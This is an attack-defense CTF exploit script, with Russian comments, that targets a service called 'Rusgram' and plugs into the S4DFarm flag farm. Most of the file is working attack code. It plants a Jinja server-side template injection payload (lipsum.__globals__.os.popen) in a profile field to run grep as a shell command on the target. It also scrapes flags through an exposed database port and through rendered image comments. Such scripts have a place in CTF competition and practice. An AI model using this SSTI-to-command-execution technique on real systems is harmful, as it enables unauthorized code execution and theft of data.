#!/usr/bin/env python3 """ Rusgram — SSTI "flag rake" (distinct from rusgram_sploit.py). Отличия от существующего комбинированного сплойта: * основной вектор — ОДИН SSTI-RCE-запрос с широким grep по всему /app/ (а не только по /app/files/db/), ловит флаги в любом месте ФС таргета; * добавлен канал сбора флагов из КОММЕНТАРИЕВ к картинкам (specific.html через proxy + прямой database) — существующий сплойт комментарии использует только для энумерации имён, флаги оттуда не берёт; * реализованы точки входа start_sploit(ip, port) и sploit(ip) для фермы. S4DFarm-совместим: CLI (argv[1]=IP, argv[2]=PORT), флаги в stdout по одному на строку, жёсткие таймауты, все сетевые вызовы в try/except. Запуск: ./start_sploit.py rusgram_ssti_flagrake.py # или напрямую: python3 rusgram_ssti_flagrake.py [PROXY_PORT] """ import sys import re import random import string import requests FLAG_RX = re.compile(r"[A-Z0-9]{31}=") TIMEOUT = 5 PROXY_PORT = 38000 DB_PORT = 38002 def _rnd(n=8): return "".join(random.choices(string.ascii_lowercase, k=n)) def _log(msg): print(f"[*] {msg}", file=sys.stderr, flush=True) # -------------------------------------------------------------------------- # Вектор A: SSTI -> RCE. Имя юзера с суффиксом .html рендерится content'ом как # Jinja-шаблон (content.route -> render_template(path)). Кладём payload в поле # юзера ДО первого рендера, затем один grep по всему /app/. # -------------------------------------------------------------------------- def _v_ssti(base, flags): user, pwd = f"{_rnd()}.html", _rnd() try: requests.post(f"{base}/api/register", json={"login": user, "password": pwd}, timeout=TIMEOUT) # grep рекурсивно сам обходит ФС: имена жертв знать не нужно. # -h убирает имена файлов, 2>/dev/null глушит ошибки доступа. payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE " "\"[A-Z0-9]{31}=\" /app/ 2>/dev/null').read() }}") requests.post(f"{base}/api/update_personal", json={"first_name": payload, "second_name": "x", "email": "x"}, cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT) r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT) found = set(FLAG_RX.findall(r.text)) flags |= found _log(f"A (SSTI grep) : {len(found)} flags") except requests.RequestException as e: _log(f"A failed: {e}") # -------------------------------------------------------------------------- # Вектор B: прямой database на 38002 — читаем и user-поля, и КОММЕНТАРИИ картинок. # -------------------------------------------------------------------------- def _v_db_comments(ip, flags): d = f"http://{ip}:{DB_PORT}" found = set() for i in range(1, 17): try: r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT) found |= set(FLAG_RX.findall(r.text)) except requests.RequestException: break flags |= found if found: _log(f"B (db imgs) : {len(found)} flags") # -------------------------------------------------------------------------- # Вектор C: specific.html через proxy рендерит комментарии картинок. # Работает, даже если 38002 закрыт фаерволом (ходим только на 38000). # Требуется валидная сессия -> регистрируем свой аккаунт. # -------------------------------------------------------------------------- def _v_proxy_comments(base, flags): actor, pwd = _rnd(10), _rnd() try: requests.post(f"{base}/api/register", json={"login": actor, "password": pwd}, timeout=TIMEOUT) except requests.RequestException: return found = set() cookies = {"session": f"{actor}||{pwd}"} for i in range(1, 17): try: r = requests.get(f"{base}/specific.html?img={i}", cookies=cookies, timeout=TIMEOUT) found |= set(FLAG_RX.findall(r.text)) except requests.RequestException: pass flags |= found if found: _log(f"C (proxy cmt) : {len(found)} flags") def exploit(target_ip, port=None): proxy_port = int(port) if port else PROXY_PORT base = f"http://{target_ip}:{proxy_port}" flags = set() _v_ssti(base, flags) # самый широкий вектор — первым _v_db_comments(target_ip, flags) _v_proxy_comments(base, flags) return flags # --- Точки входа для S4DFarm ------------------------------------------------ def start_sploit(ip, port=None): return exploit(ip, port) def sploit(ip, port=None): return exploit(ip, port) def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} [port]", file=sys.stderr, flush=True) sys.exit(1) target_ip = sys.argv[1] port = sys.argv[2] if len(sys.argv) > 2 else None try: found_flags = exploit(target_ip, port) or [] for flag in found_flags: clean_flag = str(flag).strip() if FLAG_RX.fullmatch(clean_flag): print(clean_flag, flush=True) except Exception as e: print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) if __name__ == "__main__": main()